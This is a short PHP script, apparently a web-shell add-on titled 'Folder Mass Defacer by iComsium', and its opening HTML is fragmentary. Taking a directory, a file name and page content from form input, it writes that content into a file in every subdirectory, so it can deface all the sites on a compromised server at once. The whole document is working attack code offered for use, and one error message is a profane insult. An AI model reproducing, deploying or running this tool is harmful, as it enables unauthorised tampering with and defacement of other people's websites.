Folder Mass Defacer by iComsium ";
echo "";
echo "
";
echo "
";
if (isset ($_POST['base_dir']))
{
if (!file_exists ($_POST['base_dir']))
die ($_POST['base_dir']." Not Found ! ");
if (!is_dir ($_POST['base_dir']))
die ($_POST['base_dir']." Is Not A Directory ! ");
@chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
$files = @scandir ($_POST['base_dir']) or die ("Fuck u -_- ");
foreach ($files as $file):
if ($file != "." && $file != ".." && @filetype ($file) == "dir")
{
$index = getcwd ()."/".$file."/".$_POST['andela'];
if (file_put_contents ($index, $_POST['index']))
echo ">> $index    (✓)";
}
endforeach;
}
?>